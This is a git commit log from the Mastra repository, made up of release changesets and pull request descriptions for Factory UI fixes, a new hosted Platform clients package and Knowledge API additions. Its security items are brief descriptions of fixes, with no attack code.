  - @mastra/core@1.84.0-alpha.6
  - @mastra/deployer@1.84.0-alpha.6
## @mastra/deployer@1.84.0-alpha.6

### Patch Changes

- Updated dependencies
[[`0eb407e`](0eb407ebcc)]:
  - @mastra/core@1.84.0-alpha.6
  - @mastra/server@1.84.0-alpha.6
## @mastra/mcp-docs-server@1.3.14-alpha.6

### Patch Changes

- Updated dependencies
[[`0eb407e`](0eb407ebcc)]:
  - @mastra/core@1.84.0-alpha.6
## @mastra/playground-ui@69.1.0-alpha.6

### Patch Changes

- Updated dependencies
[[`0eb407e`](0eb407ebcc)]:
  - @mastra/core@1.84.0-alpha.6
  - @mastra/client-js@1.60.1-alpha.6
  - @mastra/react@1.15.1-alpha.6
## @mastra/server@1.84.0-alpha.6

### Patch Changes

- Updated dependencies
[[`0eb407e`](0eb407ebcc)]:
  - @mastra/core@1.84.0-alpha.6
## @mastra/elysia@0.1.24-alpha.6

### Patch Changes

- Updated dependencies
[[`0eb407e`](0eb407ebcc)]:
  - @mastra/core@1.84.0-alpha.6
  - @mastra/server@1.84.0-alpha.6
## @mastra/express@1.5.28-alpha.6

### Patch Changes

- Updated dependencies
[[`0eb407e`](0eb407ebcc)]:
  - @mastra/core@1.84.0-alpha.6
  - @mastra/server@1.84.0-alpha.6
## @mastra/fastify@1.5.28-alpha.6

### Patch Changes

- Updated dependencies
[[`0eb407e`](0eb407ebcc)]:
  - @mastra/core@1.84.0-alpha.6
  - @mastra/server@1.84.0-alpha.6
## @mastra/hono@1.7.26-alpha.6

### Patch Changes

- Updated dependencies
[[`0eb407e`](0eb407ebcc)]:
  - @mastra/core@1.84.0-alpha.6
  - @mastra/server@1.84.0-alpha.6
## @mastra/koa@1.7.28-alpha.6

### Patch Changes

- Updated dependencies
[[`0eb407e`](0eb407ebcc)]:
  - @mastra/core@1.84.0-alpha.6
  - @mastra/server@1.84.0-alpha.6
## @mastra/nestjs@0.3.1-alpha.6

### Patch Changes

- Updated dependencies
[[`0eb407e`](0eb407ebcc)]:
  - @mastra/core@1.84.0-alpha.6
  - @mastra/server@1.84.0-alpha.6
## @mastra/next@0.2.42-alpha.6

### Patch Changes

- Updated dependencies
[[`0eb407e`](0eb407ebcc)]:
  - @mastra/core@1.84.0-alpha.6
  - @mastra/hono@1.7.26-alpha.6
  - @mastra/server@1.84.0-alpha.6
## @mastra/tanstack-start@0.2.42-alpha.6

### Patch Changes

- Updated dependencies
[[`0eb407e`](0eb407ebcc)]:
  - @mastra/core@1.84.0-alpha.6
  - @mastra/hono@1.7.26-alpha.6
  - @mastra/server@1.84.0-alpha.6
## @mastra/temporal@0.6.1-alpha.6

### Patch Changes

- Updated dependencies
[[`0eb407e`](0eb407ebcc)]:
  - @mastra/core@1.84.0-alpha.6
  - @mastra/deployer@1.84.0-alpha.6
## create-mastra@1.40.0-alpha.6


## @internal/playground@1.40.0-alpha.6

### Patch Changes

- Updated dependencies
[[`0eb407e`](0eb407ebcc)]:
  - @mastra/core@1.84.0-alpha.6
  - @mastra/client-js@1.60.1-alpha.6
  - @mastra/react@1.15.1-alpha.6
  - @mastra/playground-ui@69.1.0-alpha.6

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-11-17 00:01:31 -07:00
Damien Schneider
de5af00226
fix(factory-ui): collapse empty board columns to vertical strips on phones (#30659)
## Description

In the Kanban board view on phones, empty columns stayed full width
(320px). Each one showed a count with its name written flat below it. A
board with mostly empty phases took several screens of sideways
scrolling to cross, and from the first screen you couldn't tell those
phases were there.

Desktop already showed empty columns as narrow strips with the phase
name written vertically. That only applied at the `lg` breakpoint. Now
it applies at every width. The change is limited to `BoardColumn.tsx`:
the `lg:` variants on the collapsed width, the count and action
placement, and the vertical label are now unconditional.

Desktop is unchanged: the before and after desktop screenshots are
byte-identical.

**Phone (390 × 844, touch), dark mode**

| | Before | After |
|---|---|---|
| Board as it opens | <img
src="https://raw.githubusercontent.com/mastra-ai/mastra/7bb4183dfa1faa22a063649244b0046c4a90f7d9/pr-assets/phone-before.png"
width="260" /> | <img
src="https://raw.githubusercontent.com/mastra-ai/mastra/7bb4183dfa1faa22a063649244b0046c4a90f7d9/pr-assets/phone-after.png"
width="260" /> |
| Scrolled to the far right | <img
src="https://raw.githubusercontent.com/mastra-ai/mastra/7bb4183dfa1faa22a063649244b0046c4a90f7d9/pr-assets/phone-far-edge-before.png"
width="260" /> | <img
src="https://raw.githubusercontent.com/mastra-ai/mastra/7bb4183dfa1faa22a063649244b0046c4a90f7d9/pr-assets/phone-far-edge-after.png"
width="260" /> |

Before, the board was about 2,320px wide on a phone and you had to
scroll past six full-width empty columns. Now it's about 736px, and all
the empty phases fit on one screen. On touch screens a strip shows its
`+` (create) button where desktop shows the count, the same as on a
touch laptop today.

**Desktop (unchanged)**

<img
src="https://raw.githubusercontent.com/mastra-ai/mastra/7bb4183dfa1faa22a063649244b0046c4a90f7d9/pr-assets/desktop-after.png"
width="600" />

The existing board MSW suites (`BoardPagePendingStates`,
`BoardPageEmptyStates`, `CustomBoardPage`) and the typecheck pass.

The screenshots are served from a commit on this branch (`7bb4183`) that
the next commit removes, so they aren't part of the diff.

No changeset: the change is only in `@internal/factory-ui`, which
changesets ignore, and other factory-ui-only fixes have shipped without
one.

## Related issue(s)

None filed. This was reported from a phone screenshot of the board view.

## Type of change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [ ] Test update

## Checklist

- [ ] I have linked the related issue(s) in the description above
- [ ] I have made corresponding changes to the documentation (if
applicable)
- [ ] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR

🤖 Generated with [Claude Code](https://claude.com/claude-code)

https://claude.ai/code/session_01VhgyDTBtDa6hrKYsrk39gW

---------

Co-authored-by: Claude <noreply@anthropic.com>
2026-11-16 22:00:01 -08:00
Damien Schneider
383a19d047
feat(factory-ui): show Preferences on My account (#30658)
## Description

Settings › Preferences had two rows, Theme and Completion sound. Both
are personal, like everything else on My account, so they now sit on My
account between Profile and Session. That leaves My account and
Connections in the sidebar's Account group.

**Before**: two pages.

![Before: My
account](https://raw.githubusercontent.com/mastra-ai/mastra/7b67e059d0c9d65c60bcbd00d164fa771bbd82f8/.pr-assets/preferences-in-my-account/before-account.png)

[Before: Preferences](``
https://raw.githubusercontent.com/mastra-ai/mastra/7b67e059d0c9d65c60bcbd00d164fa771bbd82f8/.pr-assets/preferences-in-my-account/before-preferences.png
``)

**After**: one page.

![After: My account with
Preferences](https://raw.githubusercontent.com/mastra-ai/mastra/7b67e059d0c9d65c60bcbd00d164fa771bbd82f8/.pr-assets/preferences-in-my-account/after-account.png)

Settings now opens on My account instead of Preferences. That covers the
avatar link at the bottom of the sidebar, the `/settings` index and
unknown sections. `/settings/preferences` is a retired section and
redirects to `/settings/account`, keeping search and return state, so
old links and bookmarks still work. Settings search and global search
find My account when you type "preferences", "theme" or "completion
sound".

Preferences render outside the account loading checks. Before, a failed
or pending `/auth/me` replaced the whole page with a notice. Now that
notice only replaces Profile, and the theme and sound controls stay
usable. `GeneralSettings` is renamed `PreferencesSettings`, and its test
is folded into the `AccountSettingsSection` tests.

Tests: MSW tests cover changing the theme from My account, theme and
sound still working when account details fail to load (this test fails
if Preferences goes back behind the account checks), the
`/settings/preferences` redirect, and settings search. Existing tests
that opened `/settings/preferences` now open `/settings/account`. The
affected files pass 85/85 on two runs. Typecheck, oxlint and prettier
are clean. `AppStartup.msw.test.tsx` has 8 failures, including the
Settings case, but they fail the same way on `main` (`GET /web/status`
waits for the sign-in check), so they're unrelated to this change.

The screenshots come from the real Vite dev server, with API responses
filled in by Playwright using placeholder account data. They're linked
by commit, and the second commit removes them from the tree. There's a
patch changeset for `mastra`.

## Related issue(s)

None. This came from a review of the settings layout.

## Type of change

- [ ] Bug fix (non-breaking change that fixes an issue)
- [x] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Code refactoring
- [ ] Performance improvement
- [ ] Test update

## Checklist

- [ ] I have linked the related issue(s) in the description above
- [x] I have made corresponding changes to the documentation (if
applicable). No docs mention the Preferences page.
- [x] I have added tests that prove my fix is effective or that my
feature works
- [ ] I have addressed all Coderabbit comments on this PR

---
_Generated by [Claude
Code](https://claude.ai/code/session_01VhgyDSq83V7jJPCXfD2Grj)_

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

## ELI5

Settings now puts the theme and completion sound on the My account page.
Old links to the Preferences page send people to My account instead.

## Overview

This change removes the separate Preferences settings page in the
Factory UI. Its controls move to the My account page, between Profile
and Session. The Account sidebar group now lists only My account and
Connections.

## Behavior changes

- Settings opens on My account. This applies to the avatar link,
`/settings`, and unknown settings sections.
- `/settings/preferences` redirects to `/settings/account`. The redirect
keeps the search query and location state.
- Global search and settings search find My account for "preferences",
"theme", and "completion sound".
- The Preferences controls render outside the account-loading checks.
They stay usable when account details are pending or fail to load.
- The logout section appears only when authentication is enabled and the
user is signed in. Logout still clears MastraCode storage and redirects
to the logout URL.

## Code changes

- `GeneralSettings` is renamed to `PreferencesSettings`. Its subsection
title changes from "General" to "Preferences".
- `SettingsSection` no longer includes `preferences`.
`RETIRED_SETTINGS_SECTIONS` maps `preferences` to `account`.
- `useSettingsSection`, `SettingsPage`, the `/settings` router default,
and `SidebarSettingsLink` now use `account` instead of `preferences`.
- `SettingsPanel` no longer imports or renders `GeneralSettings`.
- `SettingsNavigation` removes the Preferences item and its
`IconColorPalette` import. Its search text moves to the My account item.
- `GlobalSearchNavigationResults` replaces the Preferences destination
with My account and updates its search keywords.
- `AccountSettingsSection` renders profile details through
`ProfileSubsection` and always includes `PreferencesSettings`.
- A changeset records a patch release for `mastra`.

## Tests

- `GeneralSettings.msw.test.tsx` is deleted. Its coverage moves to the
`AccountSettingsSection` tests.
- Tests added or updated:
- Switching the theme from System to Dark saves the choice to
`localStorage`.
- With account details failing to load, the theme can still change, and
the completion sound control stays visible without the logout button.
  - A retired `/preferences` route redirects to My account.
- Navigation tests start at the account route and expect the Account
group to show only My account and Connections.
- Search for "preferences", "theme", and "completion sound" finds My
account.
- The author reports 85/85 passing tests across two runs for the
affected files. The author also reports clean typecheck, oxlint, and
prettier results. These results were not verified against the current
head.
- The author reports 8 failures in `AppStartup.msw.test.tsx`, including
the Settings case. The author states that the same failures occur on
`main`, because `GET /web/status` waits for the sign-in check. This was
not verified.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: Claude <noreply@anthropic.com>
2026-11-16 21:49:44 -08:00
Damien Schneider
bfcb0f738d
fix(factory-ui): group sessions sidebar by board (#30656)
**─────── TLDR ───────**
> The Sessions sidebar now opens grouped by board with two-line rows, so
a fresh view shows where each session belongs and when it last moved.

The old defaults gave a new reader one flat list of titles: no board, no
date. The Activity sort also broke ties by creation date, so inside Idle
it read exactly like Last created.

### Behavior changed

someone opening the sidebar with no saved view
&nbsp;&nbsp;├─ **was** — one "All sessions" list, one line per session
&nbsp;&nbsp;└─ **now** — Work, custom boards, then User; last update
under each row

two sessions with the same status under Activity
&nbsp;&nbsp;├─ **was** — the newest created first, whatever changed
since
&nbsp;&nbsp;└─ **now** — the most recently updated first, as Last
updated does

someone who already picked None or Compact view
&nbsp;&nbsp;└─ **unchanged** — the view stores only what differs, so it
stays

### Decisions

- **Board grouping returns, Owner stays All** — Mine hides the Factory's
card sessions; one constant each to undo.
- **ties read `updatedAt` as stored** — it moves on rename, sandbox or
first message, not each chat turn; a per-run touch is separate.
- **server default stays `groupBy: 'none'`** — the sidebar always sends
`groupBy`; only raw API callers read it.

### Not verified

- [ ] the new defaults in a running sidebar — checked through the MSW
suites, not in a browser

---

> ██████████████████ **tests** `+47 −53` — net −6, the fixture that
undid the old default is gone
> ██ **changeset** `+10`
> █ **source** `+3 −3` — three one-line changes
2026-11-16 21:45:12 -08:00
mastra-platform[bot]
0eb407ebcc
Publish unified Platform clients for Memory, Knowledge, Browser, Sandbox, and Filesystem (#29428)
## Summary

Adds `@mastra/platform`: one package with clients for hosted Mastra
Platform services. It also changes `@mastra/core` Knowledge so that a
store can supply its own scope declarations.

### `@mastra/platform`
- `PlatformMemory` / `PlatformMemoryClient`: hosted Memory. It loads
observations and recent messages from a Platform Memory instance and
saves each turn back. Observation and reflection run on the Platform.
- Read-only runs (`readOnly: true`) read the thread's context through
the instance's read-only context route. They save nothing.
- `workingMemory: 'readonly' | 'tool' | 'off'` controls whether the
resource's stored working memory goes into each run's prompt. `tool`
also tells the agent to update it.
- `PlatformKnowledge`: hosted Knowledge. It forwards Knowledge
page-store operations to the Knowledge service and rebuilds Knowledge
error types from the error names the service returns.
- It takes no `scopes` option. The instance serves every scope
declaration and access rule (Memory's and importers' included) through
`getScopeDeclarations`, so access is changed in one place.
  - It supports listing pins.
- If the service doesn't have `getScopeDeclarations` yet, the client
treats that as no declarations. Only the service's own unknown-operation
404 (`Knowledge operation not found`) counts; a missing instance or any
other 404 still fails, so a misrouted client can't silently read no
declarations.
- `PlatformBrowser`: a Stagehand browser on a Platform browser session.
- By default it provisions a session through `POST
/v1/browsers/sessions` and connects to the returned CDP URL.
- Pass `cdpUrl` to connect to an existing session. That needs no token
and makes no API call.
  - Env vars: `MASTRA_PROJECT_ID` and `MASTRA_BROWSER_API_URL`.
  - New runtime dependency: `@mastra/stagehand`.
- `PlatformSandbox` / `PlatformFilesystem`: re-exported from
`@mastra/platform-workspace`.
- Credentials fall back to `MASTRA_PLATFORM_ACCESS_TOKEN`, then
`MASTRA_PLATFORM_SECRET_KEY`. Instance IDs come from
`MASTRA_MEMORY_INSTANCE_ID` and `MASTRA_KNOWLEDGE_INSTANCE_ID`; service
URLs can be overridden with `MASTRA_MEMORY_API_URL` and
`MASTRA_KNOWLEDGE_API_URL`.

### `@mastra/core` Knowledge (for core reviewers)
- `KnowledgeStorage.getScopeDeclarations()` is new and returns `{}` by
default. Knowledge merges the store's declarations under the config's:
  - On a key both declare, the config's declaration wins.
  - A store declaration that doesn't compile is skipped with a warning.
- Every Knowledge entry point now calls
`KnowledgeScopeRuntime.resolve()` before it runs: agent runs, host
writes, `readScopeFor`, `explainAccess` and `renameScopeDeclaration`.
- The store's answer is reused for 30 seconds and shared by concurrent
calls.
- A failed read isn't cached. The cache is also cleared after
`renameScopeDeclaration`, and a read that started before the rename
can't publish its answer after it.
- The cache also holds access rules, so revoking access through the
store can take up to 30 seconds. The changeset says so.
- The declarations are recompiled only when the store's answer changes.
- Without the cache, hosted Knowledge would make one extra HTTP call per
operation.
- The `'*'` access principal is gone. Access rules must name a declared
principal (for example `imports:all`).
- Public signatures are unchanged. `readScopeFor` and
`renameScopeDeclaration` already returned promises.

## Test plan (head `93ca37f845`)
- `pnpm exec vitest run packages/platform/src --config
packages/platform/vitest.config.ts`: 42 passed. 28 live tests were
skipped because they need hosted credentials.
- `pnpm --filter @mastra/platform exec tsc --noEmit`: clean. oxlint and
oxfmt: clean.
- `pnpm --filter @mastra/core exec vitest run src/knowledge`: 30 files,
318 tests passed. `pnpm --filter ./packages/core check`: clean.
- New tests:
- `store-scopes.test.ts`: call counts for `getScopeDeclarations` within
the 30-second window and after a rename, a retry after a failed read,
expiry of the 30-second window, a read started before `invalidate()` or
replaced by a newer read that must not publish its answer, and the
declaration-check error naming a skipped store declaration and why.
- `errors.test.ts`: the unknown-operation 404 reads as no declarations,
while a missing instance, any other 404 or a 500 still fails.
- `platform-browser.test.ts`: trailing slashes on the API URL are
dropped before the sessions path is added.
  - Each new test fails against a mutated implementation.
- Built ESM and CommonJS imports of `PlatformMemory`,
`PlatformKnowledge`, `PlatformBrowser`, `PlatformSandbox` and
`PlatformFilesystem`: 21 exports in each format.
- Hosted staging, snapshot `0.0.0-feat-platform-unified-20261117035452`
built from this head and installed from npm:
- `PlatformKnowledge`: a real `Agent` (only the model scripted) creates,
reads, notes, searches, lists, updates, pins and unpins a page in an org
scope through the Knowledge tools. Deleting the page as the agent is
refused because the run holds `editor`, not `owner`.
- `PlatformMemory` (`MASTRA_MEMORY_API_URL` set to the staging host):
two `Agent` turns on one thread; the second turn's prompt carries the
first, and all four messages are stored. The client's create, save,
list, context and working-memory calls work, and deleting the thread
works.
- `PlatformSandbox` and `PlatformFilesystem`: bucket write, read, list
and delete; a sandbox starts, runs `echo ok`, writes and reads a file,
and is destroyed; reattaching the destroyed sandbox fails with 410.
- Not yet run: `PlatformBrowser` hosted provisioning. Its endpoint,
`POST /v1/browsers/sessions`, is not deployed yet and returns 404.
Connecting through `cdpUrl` needs no Platform endpoint.

## Merged with main
Main was merged in (no rebase). The only code conflict was
`packages/core/src/knowledge/scope-runtime.ts`: it keeps main's
stale-row filtering from #30019 and this PR's narrowed return type.
`pnpm-lock.yaml` takes main's and was regenerated; only the
`packages/platform` importer differs. Main was merged in again at
`4c364b00ba` with no conflicts. Factory's requested changes are in: the
30-second reuse of store declarations, the PlatformBrowser changeset and
the removed `platform/*` workspace glob.

---------

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: Jamie Lee Nichols <10267569+CodingButter@users.noreply.github.com>
Co-authored-by: Mastra Code (anthropic/claude-opus-5-5) <noreply@mastra.ai>
Co-authored-by: Abhi Aiyer <abhiaiyer91@gmail.com>
Co-authored-by: arctic-char <146986046+arctic-char@users.noreply.github.com>
Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
Co-authored-by: Tyler Barnes <tylerdbarnes@gmail.com>
2026-11-16 21:36:00 -08:00
dane-ai-mastra[bot]
3b426304ac
chore: version packages (alpha) (#30602)
This PR was opened by the [Changesets
release](https://github.com/changesets/action) GitHub action. When
you're ready to do a release, you can merge this and publish to npm
yourself or [setup this action to publish
automatically](https://github.com/changesets/action#with-publishing). If
you're not ready to do a release yet, that's fine, whenever you add more
changesets to main, this PR will be updated.

⚠️⚠️⚠️⚠️⚠️⚠️

`main` is currently in **pre mode** so this branch has prereleases
rather than normal releases. If you want to exit prereleases, run
`changeset pre exit` on `main`.

⚠️⚠️⚠️⚠️⚠️⚠️

# Releases
## @mastra/factory@0.29.0-alpha.6

### Minor Changes

- Added personal custom providers. A custom OpenAI-compatible endpoint
is now saved either for yourself or for your organization, the same way
provider API keys are.
([#29879](https://github.com/mastra-ai/mastra/pull/29879))

- **Personal endpoints** are visible only to you and are used by your
personal sessions.
- **Organization endpoints** are used by work that runs on the
organization's credentials. Adding, editing or removing one now requires
an organization admin.
- Custom endpoints are added from the **Add provider** dialog and listed
with the other providers. The separate "Custom providers" section is
gone.
- Editing an endpoint without retyping its API key keeps the saved key,
as long as the URL stays on the same host. Moving it to another host
asks for the key again.
- Adding an endpoint under a name that is already in use is refused
instead of replacing the existing one. So are names reserved for a
built-in provider, its sign-in, or the Mastra Gateway (for example
"OpenAI", "OpenAI Codex" or "Mastra Gateway").
- A Factory hosted on the Mastra platform only calls custom endpoints at
a public HTTPS address. Saving one on plain HTTP, `localhost`, a private
network or the cloud metadata address is refused with a message
explaining why. Local and self-hosted Factories can still use endpoints
on their own machine or network, such as Ollama or vLLM.

  **Before you upgrade**

- Organization endpoints no longer apply to personal sessions. Add the
endpoint again as a personal one to keep using it there.
- On a hosted Factory, endpoints saved earlier on a local or plain-HTTP
address are marked "URL not allowed" and their models are no longer
offered. Edit them to a public HTTPS address.
- Review your organization's endpoints. One named like a built-in
provider (for example "OpenAI") still takes over that provider's models;
remove it or rename it.

The custom provider routes take a `scope` (`user` by default, or `org`).
Saving with `previousId` edits that provider; saving without it adds
one:

  ```http
  POST /web/config/custom-providers
{ "name": "My gateway", "url": "https://llm.example.com/v1", "models":
["my-model"], "scope": "org" }

  DELETE /web/config/custom-providers/my-gateway?scope=org
  ```

- Work Intake: what you select is what comes in.
([#30625](https://github.com/mastra-ai/mastra/pull/30625))

- **One list per service, no sync switches.** Settings → Work Intake
lists each connected service with its selected sources and an Add
account button. A service with nothing selected brings in nothing.
Dependabot alerts keep their own switch.
- **GitHub issues follow the list.** New GitHub issues become cards only
for repositories in the GitHub list. Pull requests still come from every
linked repository. On upgrade, every repository already linked to a
Factory is added to the list once, so nothing stops arriving. Linking a
repository adds it to the list unless the request sends `selectIntake:
false`, and adding a repository to the list brings in its open issues.
    To link a repository without bringing in its issues:

    ```http
POST
/web/factory/projects/:projectId/source-control-connections/:connectionId/repositories
{ "repository": { "externalId": "99", "slug": "acme/app" },
"selectIntake": false }
    ```

- **Vanta follows its selection.** Vulnerabilities sync only while the
Vanta source is selected. Organizations whose Vanta sync was on with
nothing selected get the source selected once on upgrade.
- **Routing has its own page.** The intake order and the Not routed list
moved from Settings to Routing in board settings.

- Fixed Factory server memory growing with every session it ever opened.
Factory now unloads a session from server memory when it stops the
session's sandbox (a card leaving a phase's context or finishing), and
after 30 minutes without activity. Sessions that are running, waiting on
an approval or answer, open in a browser tab, or running a background
process in their sandbox stay loaded. Unloading keeps the thread, its
messages, the session row and the sandbox, and the session's next
message, run, wake or opened tab loads it again. Without `auth`, a
deferred wake for an unloaded session waits until something else loads
it, as it does after a restart.
([#30612](https://github.com/mastra-ai/mastra/pull/30612))

Change the timeout with `idleSessionUnload`, or pass `false` to keep
every session loaded:

  ```ts
  const factory = new MastraFactory({
    storage,
idleSessionUnload: { idleMs: 60 * 60_000, sweepIntervalMs: 5 * 60_000 },
  });
  ```

- Asking a Factory session to work on a card now goes through the board,
the way the board's own buttons do. Before, asking a Slack or web
session to "review" a pull request that already had a card often ended
in a side session posting its review in the chat, while the card's own
review waited for approval.
([#30628](https://github.com/mastra-ai/mastra/pull/30628))

- `factory_transition_work_item` takes `rerun: true` to run the stage a
card is already in again, as the board's **Start** button does. The run
counts as approved by the person asking, and a busy card is refused as
on the board. A rerun needs a person in the turn. Without `rerun`, a
request for the card's own stage changes nothing and says whether its
run is waiting for approval. The result now includes the card's `url`.
- Asking for a side session still starts one. The tools now steer a
plain "review this pull request" to the pull request's card, and keep
side sessions for what people ask to run in one and for work no stage
does, such as pushing fixes to a pull request.
- Every tool that takes a work item also accepts the issue or pull
request it tracks: its link, `owner/repo#12`, `group/project!7`, or a
tracker key such as `ENG-42`. With several repositories linked, the link
finds the right card where a bare `#12` might not.
`factory_list_work_items` takes the same references as its query.
- `factory_inspect_work_item` lists the card's stage, whether it can run
again, and the stages its board lets it move to next.
- `factory_start_session` only starts side sessions. Its `workItem` and
`role` inputs are removed: they started a card's role without the
board's rules, such as which stage the card is in and whether it is
busy.

### Patch Changes

- Added `GET
/web/factory/projects/:id/work-items/:workItemId/session-repository`. It
returns the repository a session on the card starts in, resolved with
the same rules as the card's runs, or the reason the card has none.
([#30609](https://github.com/mastra-ai/mastra/pull/30609))

- Fixed reopened pull request review sessions loading the pull request's
AGENTS.md and CLAUDE.md as trusted instructions. After a review card
finished and the server restarted or unloaded the session, a new message
in that session read instruction files from the pull request branch.
Sessions that ever ran pull request or review work now keep reading
instructions from the base branch, or read none when the trusted branch
can't be determined.
([#30612](https://github.com/mastra-ai/mastra/pull/30612))

- **Settings › Tools** can now list each Mastra Connect connection's
tools. The new `GET /web/integrations/platform/connect-tools/tools`
route resolves the tools a session started by the signed-in user would
get: Factory's default Connect tools, or what the `tools` option
returns. It marks tools that ask for approval and lists the default
tools Factory leaves out because they delete or archive. When the tools
can't be resolved, it answers 502 `tools_unavailable` with the reason.
([#30610](https://github.com/mastra-ai/mastra/pull/30610))

- Fixed **Settings › Tools** saying Mastra Connect tools are off when a
Factory sets the `tools` option, even when that option uses Connect
tools (#30579). The page now lists the Platform project's connections
whenever the Factory has Platform credentials and `MASTRA_PROJECT_ID`,
and says that session tools come from code. When either one is missing,
the page names it instead of listing every possible cause.
([#30607](https://github.com/mastra-ai/mastra/pull/30607))

- Reduced the work the Factory server does to keep the session sidebar
and board up to date, and fixed session latency timestamps on LibSQL.
([#30648](https://github.com/mastra-ai/mastra/pull/30648))

- Projects without a linked repository no longer rebuild their session
list on every sidebar poll.
- Session activity now sorts only the cards that are running, waiting or
held by a session, instead of every card on the board.
- A session's first materialize, first message and first command times
are now recorded once when several Factory processes share one LibSQL
database, so a later write no longer replaces the first recorded time.

- Fixed slow reading of the pull request number from GitHub card keys
that contain very long runs of digits. The number returned is unchanged.
([#30577](https://github.com/mastra-ai/mastra/pull/30577))

- New, renamed and hidden sessions now show up in teammates' sidebars
right away, instead of after up to a minute, and the sidebar no longer
polls while a session starts. The `session-rows` and `session-activity`
answers no longer include `settling`: every change to either answer now
sends a frame on the project's feed.
([#30617](https://github.com/mastra-ai/mastra/pull/30617))

- Fixed deleting an intake rule being slow on remote databases and
breaking other open rule edits. A delete now removes only the deleted
rule instead of rewriting every rule after it, so the remaining rules
keep their order and revision and edits opened before the delete still
save. ([#30613](https://github.com/mastra-ai/mastra/pull/30613))

- Approving a held Factory run with `factory_resolve_proposal`, or
retrying a failed one with `factory_retry_decision`, now makes the
session follow the run's card, as moving the card already did. Before, a
Slack session that approved a card's review could promise to post the
result and then never hear how the review ended. Both results now
include the card's `url`.
([#30637](https://github.com/mastra-ai/mastra/pull/30637))

- Fixed board cards showing a different session status than the sidebar.
A card with a suggested run and a running session now shows it waits on
you on the board too, and a card with one working and one starting
session shows it working.
([#30624](https://github.com/mastra-ai/mastra/pull/30624))

- Fixed Factory starting a card's session in a repository the card
doesn't come from. When a card's repository wasn't linked to the
Factory, the draft started the session in the first linked repository
and wrote that repository onto the card. The draft now asks the server
which repository the card's session uses, and when there is none it
shows why, for example "Repository acme/docs is not linked to this
Factory.", starts nothing, and links to repository settings. When the
lookup itself fails, the draft offers Retry.
([#30609](https://github.com/mastra-ai/mastra/pull/30609))

A card from GitHub in a Factory whose repositories are all on GitLab, or
the reverse, is now refused the same way instead of starting in that
Factory's repository, even when a repository there has the same name.

- Improved sidebar performance in projects with many sessions. The
Factory now builds the session list once and reuses it for everyone
until a session, card or follow changes, so each sidebar request uses
about a third of the server CPU it did.
([#30616](https://github.com/mastra-ai/mastra/pull/30616))

- Fixed the session status in Factory's sidebar and board. A person's
own session now shows "Waiting on you" while its agent waits for their
answer, instead of "Working". A session now shows "Working" while it
runs on a thread opened after its first one, such as a new thread or a
Slack conversation. A session shows "Initializing" only while a run
waits on its first setup, so a session whose setup never finished, or
that never ran, no longer stays stuck on "Initializing".
([#30627](https://github.com/mastra-ai/mastra/pull/30627))

- Updated dependencies
[[`944bb3a`](944bb3ab0f),
[`7518c05`](7518c05d6f),
[`b07dd23`](b07dd23713),
[`33fba78`](33fba78931),
[`b1ba914`](b1ba914ea1),
[`e110fa6`](e110fa681a),
[`d0a2fa4`](d0a2fa4e34)]:
  - @mastra/code-sdk@1.19.1-alpha.6
  - @mastra/core@1.84.0-alpha.5
  - @mastra/connect@1.4.1-alpha.2
## create-factory@0.5.0-alpha.5

### Minor Changes

- Added a `--tag <dist-tag>` option to `create-factory`. It pins the
scaffolded template's `mastra` and `@mastra/*` dependencies to the exact
versions published under that npm dist-tag, so you can try a new Factory
on prerelease packages:
([#30598](https://github.com/mastra-ai/mastra/pull/30598))

  ```sh
  npx create-factory@latest my-factory --tag alpha
  ```

When the pinned versions include prereleases and the project uses npm,
`create-factory` also writes `legacy-peer-deps=true` to the project's
`.npmrc`, because npm otherwise rejects the prerelease peer ranges.

### Patch Changes

- `create-factory --tag` now stops before installing when the npm
registry lookup for a Mastra package fails, instead of keeping that
package's template version and producing a project that mixes release
channels. A package that simply has no release under the tag still keeps
its template version with a warning.
([#30614](https://github.com/mastra-ai/mastra/pull/30614))

- Updated dependencies
[[`c638825`](c638825c83),
[`a6dbd29`](a6dbd29a4e),
[`3c7c003`](3c7c00383d),
[`b90d0ec`](b90d0ecd41),
[`e22c5a7`](e22c5a7035)]:
  - mastra@1.40.0-alpha.5
## @mastra/core@1.84.0-alpha.5

### Minor Changes

- Added `knowledge.movePage()` to move a page, with its child pages, to
a new parent or scope from your app. The page keeps its ID, notes, pins
and embeddings, and links by path follow it, so a sync that sees a page
move at its source no longer has to remove and re-create it.
([#30631](https://github.com/mastra-ai/mastra/pull/30631))

  ```ts
await knowledge.movePage({ scope: 'docs:acme', path: 'inbox/plan',
parent: 'projects/q4' });
  ```

Links by name now stay correct when a page moves or a new page takes a
name. A page moved to another scope, and every page under it,
re-resolves its `[[Name]]` links in the new scope. A link that pointed
at one page by name stops resolving once a second page answers to that
name. When more than 99 pages share that name, the write logs a warning
and `knowledge.reindexLinks()` repairs the rest.

- Added `knowledge.reembed()` to embed Knowledge pages and notes that
already exist, such as content written before `vector` and `embedder`
were configured or after switching embedders. It runs in batches with a
resumable cursor, doesn't change the pages, lists failures and pages
over the chunk cap, and stops early with a cursor when the embedder
keeps rate limiting.
([#30603](https://github.com/mastra-ai/mastra/pull/30603))

  ```ts
  let cursor: string | undefined;
  do {
const result = await knowledge.reembed({ scope: 'org:acme', cursor });
if (result.rateLimited) await new Promise(resolve => setTimeout(resolve,
60_000));
    cursor = result.nextCursor;
  } while (cursor);
  ```

### Patch Changes

- Fixed slow handling of Gateway base URLs and Supabase URLs that
contain very long runs of `/`. The resulting URLs are unchanged.
([#30577](https://github.com/mastra-ai/mastra/pull/30577))

- Fixed `run.restart()` running a step again when the workflow run
finished or suspended after `restart()` read it but before `restart()`
took it over from the process running it. Restarting a run that finished
now returns its stored result, and restarting a run that suspended fails
with the usual "This workflow run was not active" error.
([#30399](https://github.com/mastra-ai/mastra/pull/30399))

